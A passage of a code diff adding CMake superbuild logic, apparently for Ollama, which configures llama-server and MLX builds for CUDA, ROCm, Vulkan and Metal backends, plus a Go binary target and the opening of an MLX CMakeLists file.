+    list(APPEND _native_parallel_args ${OLLAMA_BUILD_PARALLEL})
+endif()
+
+set(OLLAMA_NATIVE_BUILD_TOOL_COMMAND
+    ${CMAKE_COMMAND} --build <BINARY_DIR> ${_native_parallel_args})
+set(OLLAMA_NATIVE_BUILD_TARGET_ARG --target)
+if(CMAKE_GENERATOR MATCHES "Makefiles")
+    set(OLLAMA_NATIVE_BUILD_TOOL_COMMAND
+        "$(MAKE)" -C <BINARY_DIR>)
+    set(OLLAMA_NATIVE_BUILD_TARGET_ARG)
+endif()
+
+function(ollama_escape_cmake_list input output)
+    string(REPLACE ";" "|" _escaped "${input}")
+    set(${output} "${_escaped}" PARENT_SCOPE)
+endfunction()
+
+function(ollama_collect_cache_args_with_prefix prefix output)
+    get_cmake_property(_cache_variables CACHE_VARIABLES)
+    list(SORT _cache_variables)
+
+    set(_args)
+    foreach(_var IN LISTS _cache_variables)
+        if(_var MATCHES "^${prefix}")
+            ollama_escape_cmake_list("${${_var}}" _value)
+            list(APPEND _args "-D${_var}=${_value}")
+        endif()
+    endforeach()
+
+    set(${output} "${_args}" PARENT_SCOPE)
+endfunction()
+
+function(ollama_append_cache_arg_if_set output name)
+    if(DEFINED ${name} AND NOT "${${name}}" STREQUAL "")
+        ollama_escape_cmake_list("${${name}}" _value)
+        set(${output} ${${output}} "-D${name}=${_value}" PARENT_SCOPE)
+    endif()
+endfunction()
+
+function(ollama_cache_arg_is_set name output)
+    if(DEFINED ${name} AND NOT "${${name}}" STREQUAL "")
+        set(${output} TRUE PARENT_SCOPE)
+    else()
+        set(${output} FALSE PARENT_SCOPE)
+    endif()
+endfunction()
+
+function(ollama_backend_cuda_major backend output)
+    if("${backend}" MATCHES "^cuda_v([0-9]+)$")
+        set(${output} "${CMAKE_MATCH_1}" PARENT_SCOPE)
+    else()
+        set(${output} "" PARENT_SCOPE)
+    endif()
+endfunction()
+
+function(ollama_find_windows_cuda_root major output)
+    if(NOT WIN32 OR "${major}" STREQUAL "")
+        set(${output} "" PARENT_SCOPE)
+        return()
+    endif()
+
+    execute_process(
+        COMMAND ${CMAKE_COMMAND} -E environment
+        OUTPUT_VARIABLE _environment)
+    string(REPLACE "\r\n" "\n" _environment "${_environment}")
+    string(REPLACE "\r" "\n" _environment "${_environment}")
+    string(REGEX MATCHALL "CUDA_PATH_V${major}_[0-9]+=[^\n]*" _matches "${_environment}")
+
+    set(_best_minor -1)
+    set(_best_root "")
+    foreach(_entry IN LISTS _matches)
+        if(_entry MATCHES "^CUDA_PATH_V${major}_([0-9]+)=(.*)$")
+            set(_minor "${CMAKE_MATCH_1}")
+            set(_root "${CMAKE_MATCH_2}")
+            if(_minor GREATER _best_minor)
+                set(_best_minor ${_minor})
+                set(_best_root "${_root}")
+            endif()
+        endif()
+    endforeach()
+
+    if(_best_root STREQUAL "" AND DEFINED ENV{CUDA_PATH})
+        set(_cuda_path "$ENV{CUDA_PATH}")
+        if(EXISTS "${_cuda_path}/version.json")
+            file(READ "${_cuda_path}/version.json" _version_json)
+            if(_version_json MATCHES "\"cuda\"[ \t\r\n]*:[ \t\r\n]*\"${major}\\.")
+                set(_best_root "${_cuda_path}")
+            endif()
+        endif()
+    endif()
+
+    set(${output} "${_best_root}" PARENT_SCOPE)
+endfunction()
+
+function(ollama_append_cuda_toolkit_args output backend)
+    # If CUDAToolkit_ROOT is already explicitly set, just forward it.
+    ollama_append_cache_arg_if_set(${output} CUDAToolkit_ROOT)
+    if(NOT DEFINED CUDAToolkit_ROOT OR "${CUDAToolkit_ROOT}" STREQUAL "")
+        # Auto-discover CUDA toolkit for the requested backend version on Windows.
+        ollama_backend_cuda_major("${backend}" _cuda_major)
+        ollama_find_windows_cuda_root("${_cuda_major}" _cuda_root)
+        if(NOT "${_cuda_root}" STREQUAL "")
+            ollama_escape_cmake_list("${_cuda_root}" _value)
+            set(${output} ${${output}} "-DCUDAToolkit_ROOT=${_value}" PARENT_SCOPE)
+        endif()
+    endif()
+endfunction()
+
+function(ollama_llama_cuda_preset backend output)
+    ollama_cache_arg_is_set(CMAKE_CUDA_ARCHITECTURES _has_cuda_arch)
+    if(_has_cuda_arch)
+        set(_preset "llama_${backend}_user_arch")
+    elseif(WIN32)
+        set(_preset "llama_${backend}_windows")
+    else()
+        set(_preset "llama_${backend}_linux")
+    endif()
+    set(${output} "${_preset}" PARENT_SCOPE)
+endfunction()
+
+function(ollama_mlx_cuda_preset output)
+    ollama_cache_arg_is_set(MLX_CUDA_ARCHITECTURES _has_mlx_arch)
+    ollama_cache_arg_is_set(CMAKE_CUDA_ARCHITECTURES _has_cuda_arch)
+    if(_has_mlx_arch OR _has_cuda_arch)
+        set(_preset "mlx_cuda_v13_user_arch")
+    elseif(WIN32)
+        set(_preset "mlx_cuda_v13_windows")
+    else()
+        set(_preset "mlx_cuda_v13_linux")
+    endif()
+    set(${output} "${_preset}" PARENT_SCOPE)
+endfunction()
+
+function(ollama_rocm_preset backend output)
+    ollama_cache_arg_is_set(AMDGPU_TARGETS _has_amdgpu_targets)
+    ollama_cache_arg_is_set(CMAKE_HIP_ARCHITECTURES _has_hip_arch)
+    if(_has_amdgpu_targets OR _has_hip_arch)
+        if(backend STREQUAL "rocm_v7_1" AND NOT WIN32)
+            message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_1 is only supported for Windows ROCm builds")
+        elseif(backend STREQUAL "rocm_v7_2" AND WIN32)
+            message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_2 is only supported for Linux ROCm builds")
+        endif()
+    elseif(backend STREQUAL "rocm_v7_1")
+        if(NOT WIN32)
+            message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_1 is only supported for Windows ROCm builds")
+        endif()
+        set(_preset "${backend}_windows")
+    elseif(backend STREQUAL "rocm_v7_2")
+        if(WIN32)
+            message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_2 is only supported for Linux ROCm builds")
+        endif()
+        set(_preset "${backend}_linux")
+    else()
+        message(FATAL_ERROR "Unknown ROCm backend '${backend}'")
+    endif()
+    if(_has_amdgpu_targets OR _has_hip_arch)
+        set(_preset "${backend}_user_arch")
+    endif()
+    set(${output} "${_preset}" PARENT_SCOPE)
+endfunction()
+
+function(ollama_add_llama_server_build name)
+    cmake_parse_arguments(ARG "" "PRESET;RUNNER_DIR" "TARGETS;CMAKE_ARGS" ${ARGN})
+    if(NOT ARG_TARGETS)
+        message(FATAL_ERROR "ollama_add_llama_server_build(${name}) requires TARGETS")
+    endif()
+
+    if(WIN32 AND name STREQUAL "vulkan")
+        # The Vulkan shader generator nests deeply enough to hit Windows MAX_PATH.
+        set(_build_dir ${CMAKE_BINARY_DIR}/ls-vk)
+    else()
+        set(_build_dir ${CMAKE_BINARY_DIR}/llama-server-${name})
+    endif()
+    ollama_collect_cache_args_with_prefix("GGML_" _ggml_cache_args)
+    ollama_collect_cache_args_with_prefix("LLAMA_" _llama_cache_args)
+    set(_cmake_args
+        -DCMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE}
+        -DCMAKE_INSTALL_PREFIX=${OLLAMA_PAYLOAD_INSTALL_PREFIX}
+        -DOLLAMA_LIB_DIR:STRING=${OLLAMA_LIB_DIR}
+        -DOLLAMA_RUNNER_DIR=${ARG_RUNNER_DIR}
+        -DFETCHCONTENT_SOURCE_DIR_LLAMA_CPP=${OLLAMA_LLAMA_CPP_SOURCE_DIR}
+        -DOLLAMA_LLAMA_CPP_SKIP_COMPAT_PATCH=ON
+        -DGGML_NATIVE=OFF
+        -DGGML_OPENMP=OFF
+        ${ARG_CMAKE_ARGS}
+        ${_ggml_cache_args}
+        ${_llama_cache_args}
+    )
+
+    if(APPLE)
+        if(CMAKE_OSX_ARCHITECTURES)
+            list(APPEND _cmake_args
+                -DCMAKE_OSX_ARCHITECTURES=${CMAKE_OSX_ARCHITECTURES})
+        endif()
+        if(CMAKE_OSX_DEPLOYMENT_TARGET)
+            list(APPEND _cmake_args
+                -DCMAKE_OSX_DEPLOYMENT_TARGET=${CMAKE_OSX_DEPLOYMENT_TARGET})
+        endif()
+    endif()
+    # Visual Studio requires -T toolset override to select the correct CUDA toolkit.
+    # MSBuild's CUDA integration ignores -DCUDAToolkit_ROOT for nvcc selection.
+    # Prefer user-specified CUDAToolkit_ROOT before falling back to auto-discovery.
+    set(_generator_args)
+    if(WIN32 AND CMAKE_GENERATOR MATCHES "Visual Studio")
+        set(_cuda_root "${CUDAToolkit_ROOT}")
+        if("${_cuda_root}" STREQUAL "")
+            ollama_backend_cuda_major("${name}" _cuda_major)
+            ollama_find_windows_cuda_root("${_cuda_major}" _cuda_root)
+        endif()
+        if(NOT "${_cuda_root}" STREQUAL "")
+            list(APPEND _generator_args -T cuda=${_cuda_root})
+        endif()
+    endif()
+    set(_configure_command ${CMAKE_COMMAND}
+        ${_generator_args}
+        -S ${CMAKE_SOURCE_DIR}/llama/server
+        -B <BINARY_DIR>
+        ${_cmake_args})
+    if(ARG_PRESET)
+        set(_configure_command ${CMAKE_COMMAND}
+            ${_generator_args}
+            -S ${CMAKE_SOURCE_DIR}/llama/server
+            --preset ${ARG_PRESET}
+            -B <BINARY_DIR>
+            ${_cmake_args})
+    endif()
+    ExternalProject_Add(ollama-llama-server-${name}
+        SOURCE_DIR ${CMAKE_SOURCE_DIR}/llama/server
+        BINARY_DIR ${_build_dir}
+        CONFIGURE_COMMAND ${_configure_command}
+        BUILD_COMMAND ${OLLAMA_NATIVE_BUILD_TOOL_COMMAND}
+            ${OLLAMA_NATIVE_CONFIG_ARG}
+            ${OLLAMA_NATIVE_BUILD_TARGET_ARG} ${ARG_TARGETS}
+        INSTALL_COMMAND ${CMAKE_COMMAND} --install <BINARY_DIR>
+            ${OLLAMA_NATIVE_CONFIG_ARG}
+            --component llama-server
+        DEPENDS ollama-llama-cpp-source
+        LIST_SEPARATOR |
+        # ExternalProject cannot reliably infer when nested FetchContent
+        # sources, compat patches, or forwarded GGML/LLAMA cache settings need
+        # a rebuild. Always entering the sub-build keeps direct `cmake --build`
+        # iteration correct; the nested generator still performs incremental
+        # compilation.
+        BUILD_ALWAYS TRUE
+        ${OLLAMA_NATIVE_EXTERNAL_OPTIONS}
+        USES_TERMINAL_CONFIGURE TRUE
+        USES_TERMINAL_BUILD TRUE
+        USES_TERMINAL_INSTALL TRUE)
+endfunction()
+
+function(ollama_add_mlx_build name)
+    cmake_parse_arguments(ARG "" "PRESET;RUNNER_DIR" "CMAKE_ARGS" ${ARGN})
+    if(NOT ARG_RUNNER_DIR)
+        message(FATAL_ERROR "ollama_add_mlx_build(${name}) requires RUNNER_DIR")
+    endif()
+
+    set(_build_dir ${CMAKE_BINARY_DIR}/${ARG_RUNNER_DIR})
+    ollama_collect_cache_args_with_prefix("MLX_" _mlx_cache_args)
+    set(_cmake_args
+        -DCMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE}
+        -DCMAKE_INSTALL_PREFIX=${OLLAMA_PAYLOAD_INSTALL_PREFIX}
+        -DOLLAMA_LIB_DIR:STRING=${OLLAMA_LIB_DIR}
+        -DOLLAMA_RUNNER_DIR=${ARG_RUNNER_DIR}
+        -DOLLAMA_SOURCE_DIR=${CMAKE_SOURCE_DIR}
+        -DFETCHCONTENT_SOURCE_DIR_MLX=${OLLAMA_MLX_SOURCE_DIR}
+        -DFETCHCONTENT_SOURCE_DIR_MLX-C=${OLLAMA_MLX_C_SOURCE_DIR}
+        -DOLLAMA_MLX_GENERATE_WRAPPERS=OFF
+        ${ARG_CMAKE_ARGS}
+        ${_mlx_cache_args}
+    )
+    foreach(_arg IN ITEMS
+            BLAS_INCLUDE_DIRS
+            LAPACK_INCLUDE_DIRS
+            CUDAToolkit_ROOT
+            CUDNN_ROOT_DIR
+            CUDNN_INCLUDE_PATH
+            CUDNN_LIBRARY_PATH
+            CMAKE_CUDA_COMPILER
+            CMAKE_CUDA_HOST_COMPILER
+            CMAKE_INCLUDE_PATH
+            CMAKE_LIBRARY_PATH
+            CMAKE_PREFIX_PATH)
+        ollama_append_cache_arg_if_set(_cmake_args ${_arg})
+    endforeach()
+
+    if(APPLE)
+        if(CMAKE_OSX_ARCHITECTURES)
+            list(APPEND _cmake_args
+                -DCMAKE_OSX_ARCHITECTURES=${CMAKE_OSX_ARCHITECTURES})
+        endif()
+    endif()
+    set(_configure_command ${CMAKE_COMMAND}
+        -S ${CMAKE_SOURCE_DIR}/cmake/mlx
+        -B <BINARY_DIR>
+        ${_cmake_args})
+    if(ARG_PRESET)
+        set(_configure_command ${CMAKE_COMMAND}
+            -S ${CMAKE_SOURCE_DIR}/cmake/mlx
+            --preset ${ARG_PRESET}
+            -B <BINARY_DIR>
+            ${_cmake_args})
+    endif()
+
+    ExternalProject_Add(ollama-mlx-${name}
+        SOURCE_DIR ${CMAKE_SOURCE_DIR}/cmake/mlx
+        BINARY_DIR ${_build_dir}
+        CONFIGURE_COMMAND ${_configure_command}
+        BUILD_COMMAND ${OLLAMA_NATIVE_BUILD_TOOL_COMMAND}
+            ${OLLAMA_NATIVE_CONFIG_ARG}
+            ${OLLAMA_NATIVE_BUILD_TARGET_ARG} mlx
+            ${OLLAMA_NATIVE_BUILD_TARGET_ARG} mlxc
+        INSTALL_COMMAND ${CMAKE_COMMAND} --install <BINARY_DIR>
+            ${OLLAMA_NATIVE_CONFIG_ARG}
+            --component MLX
+            COMMAND ${CMAKE_COMMAND} --install <BINARY_DIR>
+            ${OLLAMA_NATIVE_CONFIG_ARG}
+            --component MLX_VENDOR
+        DEPENDS ollama-mlx-sources
+        LIST_SEPARATOR |
+        BUILD_ALWAYS TRUE
+        ${OLLAMA_NATIVE_EXTERNAL_OPTIONS}
+        USES_TERMINAL_CONFIGURE TRUE
+        USES_TERMINAL_BUILD TRUE
+        USES_TERMINAL_INSTALL TRUE)
+endfunction()
+
+find_program(GO_EXECUTABLE go)
+
+if(OLLAMA_MLX_BACKENDS)
+    set(_mlx_c_headers_dir "${OLLAMA_MLX_C_SOURCE_DIR}/mlx/c")
+    set(_mlx_c_headers_dest "${CMAKE_SOURCE_DIR}/x/mlxrunner/mlx/include/mlx/c")
+
+    if(GO_EXECUTABLE AND (NOT APPLE OR CMAKE_SYSTEM_PROCESSOR STREQUAL CMAKE_HOST_SYSTEM_PROCESSOR))
+        add_custom_target(ollama-mlx-generate-wrappers
+            COMMAND ${CMAKE_COMMAND}
+                -DMLX_C_HEADERS_DIR=${_mlx_c_headers_dir}
+                -DMLX_C_HEADERS_DEST=${_mlx_c_headers_dest}
+                -P "${CMAKE_SOURCE_DIR}/cmake/vendor-mlx-c-headers.cmake"
+            COMMAND ${CMAKE_COMMAND} -E env
+                CC= CGO_CFLAGS= CGO_CXXFLAGS=
+                ${GO_EXECUTABLE} generate ./x/...
+            WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
+            DEPENDS ollama-mlx-sources
+            COMMENT "Regenerating MLX Go wrappers"
+            VERBATIM)
+    else()
+        add_custom_target(ollama-mlx-generate-wrappers
+            COMMAND ${CMAKE_COMMAND} -E echo
+                "Cannot regenerate MLX wrappers while Go is unavailable or while cross-compiling"
+            COMMAND ${CMAKE_COMMAND} -E false
+            DEPENDS ollama-mlx-sources
+            VERBATIM)
+    endif()
+endif()
+
+if(OLLAMA_HAVE_LLAMA_SERVER)
+    if(NOT OLLAMA_GO_OUTPUT)
+        if(WIN32)
+            set(OLLAMA_GO_OUTPUT ${CMAKE_SOURCE_DIR}/ollama.exe)
+        else()
+            set(OLLAMA_GO_OUTPUT ${CMAKE_SOURCE_DIR}/ollama)
+        endif()
+    endif()
+    if(NOT IS_ABSOLUTE "${OLLAMA_GO_OUTPUT}")
+        set(OLLAMA_GO_OUTPUT "${CMAKE_SOURCE_DIR}/${OLLAMA_GO_OUTPUT}")
+    endif()
+    get_filename_component(OLLAMA_GO_OUTPUT "${OLLAMA_GO_OUTPUT}" ABSOLUTE)
+    set(OLLAMA_GO_OUTPUT "${OLLAMA_GO_OUTPUT}" CACHE FILEPATH "Output path for the local Ollama Go binary")
+    get_filename_component(OLLAMA_GO_OUTPUT_DIR "${OLLAMA_GO_OUTPUT}" DIRECTORY)
+
+    set(OLLAMA_GO_LDFLAGS
+        "-s -w -X=github.com/ollama/ollama/version.Version=${OLLAMA_VERSION} -X=github.com/ollama/ollama/server.mode=release")
+    if(GO_EXECUTABLE)
+        add_custom_target(ollama-go ALL
+            COMMAND ${CMAKE_COMMAND} -E make_directory "${OLLAMA_GO_OUTPUT_DIR}"
+            COMMAND ${CMAKE_COMMAND} -E env CGO_ENABLED=1
+                ${GO_EXECUTABLE} build -trimpath -ldflags "${OLLAMA_GO_LDFLAGS}" -o "${OLLAMA_GO_OUTPUT}" .
+            WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
+            BYPRODUCTS ${OLLAMA_GO_OUTPUT}
+            COMMENT "Building Ollama Go binary"
+            VERBATIM)
+    else()
+        add_custom_target(ollama-go ALL
+            COMMAND ${CMAKE_COMMAND} -E echo
+                "Go executable not found. Install Go or set GO_EXECUTABLE to build the local Ollama binary."
+            COMMAND ${CMAKE_COMMAND} -E false
+            COMMENT "Building Ollama Go binary"
+            VERBATIM)
+    endif()
+
+    set(_cpu_args)
+    if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
+        list(APPEND _cpu_args
+            -DBUILD_SHARED_LIBS=OFF
+            -DGGML_BACKEND_DL=OFF
+            -DGGML_METAL=ON
+            -DGGML_METAL_EMBED_LIBRARY=ON)
+    else()
+        list(APPEND _cpu_args
+            -DBUILD_SHARED_LIBS=ON
+            -DGGML_BACKEND_DL=ON
+            -DGGML_CPU_ALL_VARIANTS=ON)
+        if(WIN32)
+            list(APPEND _cpu_args -DGGML_OPENMP=ON)
+        endif()
+        if(APPLE)
+            list(APPEND _cpu_args -DGGML_METAL=OFF)
+        endif()
+    endif()
+
+    ollama_add_llama_server_build(local
+        RUNNER_DIR ""
+        TARGETS llama-server llama-quantize
+        CMAKE_ARGS ${_cpu_args})
+
+    add_custom_target(ollama-local ALL
+        DEPENDS ollama-go ollama-llama-server-local
+        COMMENT "Building local Ollama payload")
+
+    install(PROGRAMS "${OLLAMA_GO_OUTPUT}"
+        DESTINATION "${CMAKE_INSTALL_BINDIR}"
+        COMPONENT ollama-local)
+endif()
+
+set(_backend_targets)
+if(OLLAMA_HAVE_LLAMA_SERVER)
+    foreach(_backend IN LISTS OLLAMA_LLAMA_BACKENDS)
+        if(_backend STREQUAL "cuda_v12")
+            ollama_llama_cuda_preset(${_backend} _cuda_preset)
+            set(_cuda_args)
+            ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
+            ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
+            ollama_append_cuda_toolkit_args(_cuda_args ${_backend})
+            ollama_add_llama_server_build(${_backend}
+                PRESET ${_cuda_preset}
+                RUNNER_DIR ${_backend}
+                TARGETS ggml-cuda
+                CMAKE_ARGS ${_cuda_args})
+            list(APPEND _backend_targets ollama-llama-server-${_backend})
+        elseif(_backend STREQUAL "cuda_v13")
+            ollama_llama_cuda_preset(${_backend} _cuda_preset)
+            set(_cuda_args)
+            ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
+            ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
+            ollama_append_cuda_toolkit_args(_cuda_args ${_backend})
+            ollama_add_llama_server_build(${_backend}
+                PRESET ${_cuda_preset}
+                RUNNER_DIR ${_backend}
+                TARGETS ggml-cuda
+                CMAKE_ARGS ${_cuda_args})
+            list(APPEND _backend_targets ollama-llama-server-${_backend})
+        elseif(_backend STREQUAL "rocm_v7_1" OR _backend STREQUAL "rocm_v7_2")
+            # ROCm 7.1 and 7.2 currently share build settings. Keep the backend
+            # names versioned so future packaging can install side-by-side ROCm
+            # payloads without changing the superbuild interface.
+            ollama_rocm_preset(${_backend} _rocm_preset)
+            set(_rocm_args
+                -DBUILD_SHARED_LIBS=ON
+                -DGGML_BACKEND_DL=ON
+                -DGGML_HIP=ON
+                -DCMAKE_HIP_PLATFORM=amd
+                -DOLLAMA_GPU_BACKEND=hip)
+            ollama_append_cache_arg_if_set(_rocm_args AMDGPU_TARGETS)
+            ollama_append_cache_arg_if_set(_rocm_args CMAKE_HIP_ARCHITECTURES)
+            ollama_append_cache_arg_if_set(_rocm_args CMAKE_HIP_FLAGS)
+            ollama_append_cache_arg_if_set(_rocm_args GGML_CUDA_NO_PEER_COPY)
+            ollama_append_cache_arg_if_set(_rocm_args CMAKE_PREFIX_PATH)
+            ollama_add_llama_server_build(${_backend}
+                PRESET ${_rocm_preset}
+                RUNNER_DIR ${_backend}
+                TARGETS ggml-hip
+                CMAKE_ARGS ${_rocm_args})
+            list(APPEND _backend_targets ollama-llama-server-${_backend})
+        elseif(_backend STREQUAL "vulkan")
+            ollama_add_llama_server_build(vulkan
+                RUNNER_DIR vulkan
+                TARGETS ggml-vulkan
+                CMAKE_ARGS
+                    -DBUILD_SHARED_LIBS=ON
+                    -DGGML_BACKEND_DL=ON
+                    -DGGML_VULKAN=ON
+                    -DOLLAMA_GPU_BACKEND=vulkan)
+            list(APPEND _backend_targets ollama-llama-server-vulkan)
+        elseif(_backend STREQUAL "cuda_jetpack5")
+            if(CMAKE_CUDA_ARCHITECTURES)
+                set(_cuda_preset llama_cuda_jetpack5_user_arch)
+            else()
+                set(_cuda_preset llama_cuda_jetpack5)
+            endif()
+            set(_cuda_args)
+            ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
+            ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
+            ollama_add_llama_server_build(${_backend}
+                PRESET ${_cuda_preset}
+                RUNNER_DIR ${_backend}
+                TARGETS ggml-cuda
+                CMAKE_ARGS ${_cuda_args})
+            list(APPEND _backend_targets ollama-llama-server-${_backend})
+        elseif(_backend STREQUAL "cuda_jetpack6")
+            if(CMAKE_CUDA_ARCHITECTURES)
+                set(_cuda_preset llama_cuda_jetpack6_user_arch)
+            else()
+                set(_cuda_preset llama_cuda_jetpack6)
+            endif()
+            set(_cuda_args)
+            ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
+            ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
+            ollama_add_llama_server_build(${_backend}
+                PRESET ${_cuda_preset}
+                RUNNER_DIR ${_backend}
+                TARGETS ggml-cuda
+                CMAKE_ARGS ${_cuda_args})
+            list(APPEND _backend_targets ollama-llama-server-${_backend})
+        else()
+            message(FATAL_ERROR
+                "Unknown OLLAMA_LLAMA_BACKENDS entry '${_backend}'")
+        endif()
+    endforeach()
+endif()
+
+if(_backend_targets)
+    add_custom_target(ollama-llama-server-backends ALL
+        DEPENDS ${_backend_targets}
+        COMMENT "Building llama-server GPU backends")
+endif()
+
+set(_mlx_targets)
+foreach(_backend IN LISTS OLLAMA_MLX_BACKENDS)
+    if(_backend STREQUAL "cuda_v13")
+        ollama_mlx_cuda_preset(_mlx_cuda_preset)
+        set(_mlx_cuda_args)
+        ollama_append_cache_arg_if_set(_mlx_cuda_args CMAKE_CUDA_ARCHITECTURES)
+        ollama_append_cache_arg_if_set(_mlx_cuda_args MLX_CUDA_ARCHITECTURES)
+        ollama_append_cache_arg_if_set(_mlx_cuda_args CMAKE_CUDA_FLAGS)
+        ollama_add_mlx_build(cuda_v13
+            PRESET ${_mlx_cuda_preset}
+            RUNNER_DIR mlx_cuda_v13
+            CMAKE_ARGS ${_mlx_cuda_args})
+        list(APPEND _mlx_targets ollama-mlx-cuda_v13)
+    elseif(_backend STREQUAL "metal_v3")
+        if(NOT APPLE)
+            message(FATAL_ERROR "OLLAMA_MLX_BACKENDS=metal_v3 is only supported on macOS")
+        endif()
+        ollama_check_metal_toolchain(_metal_version)
+        ollama_add_mlx_build(metal_v3
+            PRESET mlx_metal_v3
+            RUNNER_DIR mlx_metal_v3)
+        list(APPEND _mlx_targets ollama-mlx-metal_v3)
+    elseif(_backend STREQUAL "metal_v4")
+        if(NOT APPLE)
+            message(FATAL_ERROR "OLLAMA_MLX_BACKENDS=metal_v4 is only supported on macOS")
+        endif()
+        ollama_check_metal_toolchain(_metal_version)
+        ollama_macos_sdk_major_version(_ollama_mlx_sdk_major)
+        if(_ollama_mlx_sdk_major
+            AND _ollama_mlx_sdk_major VERSION_GREATER_EQUAL 26.2)
+            ollama_add_mlx_build(metal_v4
+                PRESET mlx_metal_v4
+                RUNNER_DIR mlx_metal_v4)
+            list(APPEND _mlx_targets ollama-mlx-metal_v4)
+        else()
+            message(FATAL_ERROR
+                "OLLAMA_MLX_BACKENDS=metal_v4 requires the macOS 26.2 SDK. "
+                "Install a newer Xcode or use OLLAMA_MLX_BACKENDS=metal_v3.")
+        endif()
+    else()
+        message(FATAL_ERROR
+            "Unknown OLLAMA_MLX_BACKENDS entry '${_backend}'")
+    endif()
+endforeach()
+
+if(_mlx_targets)
+    add_custom_target(ollama-mlx-backends ALL
+        DEPENDS ${_mlx_targets}
+        COMMENT "Building MLX backends")
+endif()
+
+install(DIRECTORY "${OLLAMA_PAYLOAD_INSTALL_PREFIX}/${OLLAMA_LIB_DIR}/"
+    DESTINATION "${OLLAMA_LIB_DIR}"
+    COMPONENT ollama-local
+    USE_SOURCE_PERMISSIONS)

cmake/mlx/CMakeLists.txt

@@ -0,0 +1,318 @@
+cmake_minimum_required(VERSION 3.24)
+
+project(OllamaMLX C CXX)
+
+include(CheckLanguage)
+include(GNUInstallDirs)
+
+find_package(Threads REQUIRED)
+
+if(NOT CMAKE_CONFIGURATION_TYPES AND NOT CMAKE_BUILD_TYPE)
+    set(CMAKE_BUILD_TYPE Release CACHE STRING "Build type" FORCE)
+endif()
+
+if(NOT DEFINED BUILD_SHARED_LIBS)
+    set(BUILD_SHARED_LIBS ON)
+endif()
+
+set(CMAKE_CXX_STANDARD 17)
+set(CMAKE_CXX_STANDARD_REQUIRED ON)
+set(CMAKE_CXX_EXTENSIONS ON)
+
+if(APPLE)
+    set(CMAKE_BUILD_RPATH "@loader_path")
+    set(CMAKE_INSTALL_RPATH "@loader_path")
+    set(CMAKE_BUILD_WITH_INSTALL_RPATH ON)
+endif()
+
+if(NOT DEFINED OLLAMA_SOURCE_DIR OR "${OLLAMA_SOURCE_DIR}" STREQUAL "")
+    get_filename_component(OLLAMA_SOURCE_DIR "${CMAKE_CURRENT_LIST_DIR}/../.." ABSOLUTE)
+endif()
+get_filename_component(OLLAMA_SOURCE_DIR "${OLLAMA_SOURCE_DIR}" ABSOLUTE BASE_DIR "${CMAKE_CURRENT_LIST_DIR}")
+set(OLLAMA_SOURCE_DIR "${OLLAMA_SOURCE_DIR}" CACHE PATH "Ollama repository root")
+
+set(OLLAMA_LIB_DIR "lib/ollama" CACHE STRING "Install destination for Ollama runtime payloads")
+set(OLLAMA_RUNNER_DIR "" CACHE STRING "Ollama runtime payload subdirectory")
+set(OLLAMA_BUILD_DIR ${CMAKE_BINARY_DIR}/lib/ollama)
+set(OLLAMA_INSTALL_DIR ${OLLAMA_LIB_DIR}/${OLLAMA_RUNNER_DIR})
+
+set(CMAKE_RUNTIME_OUTPUT_DIRECTORY         ${OLLAMA_BUILD_DIR})
+set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_DEBUG   ${OLLAMA_BUILD_DIR})
+set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
+set(CMAKE_LIBRARY_OUTPUT_DIRECTORY         ${OLLAMA_BUILD_DIR})
+set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_DEBUG   ${OLLAMA_BUILD_DIR})
+set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
+
+if(MLX_CUDA_ARCHITECTURES OR CMAKE_CUDA_ARCHITECTURES)
+    check_language(CUDA)
+endif()
+
+option(OLLAMA_MLX_GENERATE_WRAPPERS "Regenerate MLX Go wrappers" OFF)
+
+message(STATUS "Setting up MLX (this takes a while...)")
+add_subdirectory(${OLLAMA_SOURCE_DIR}/x/imagegen/mlx ${CMAKE_BINARY_DIR}/x/imagegen/mlx)
+
+# Find CUDA toolkit if MLX is built with CUDA support.
+find_package(CUDAToolkit)
+
+# Build list of directories for runtime dependency resolution.
+set(MLX_RUNTIME_DIRS ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR})
+# Add cuDNN bin paths for DLLs (Windows MLX CUDA builds).
+# CUDNN_ROOT_DIR is the standard CMake variable for cuDNN location.
+if(CUDNN_ROOT_DIR)
+    set(_cudnn_root "${CUDNN_ROOT_DIR}")
+elseif(DEFINED ENV{CUDNN_ROOT_DIR})
+    set(_cudnn_root "$ENV{CUDNN_ROOT_DIR}")
+endif()
+if(_cudnn_root)
+    # cuDNN 9.x has versioned subdirectories under bin/ (e.g., bin/13.0/).
+    file(GLOB CUDNN_BIN_SUBDIRS "${_cudnn_root}/bin/*")
+    list(APPEND MLX_RUNTIME_DIRS ${CUDNN_BIN_SUBDIRS})
+endif()
+# Add build output directory and MLX dependency build directories.
+list(APPEND MLX_RUNTIME_DIRS ${OLLAMA_BUILD_DIR})
+# OpenBLAS DLL location (pre-built zip extracts into openblas-src/bin/).
+list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/openblas-src/bin)
+# NCCL: on Linux, if real NCCL is found, cmake bundles libnccl.so via the
+# regex below. If NCCL is not found, MLX links a static stub (OBJECT lib)
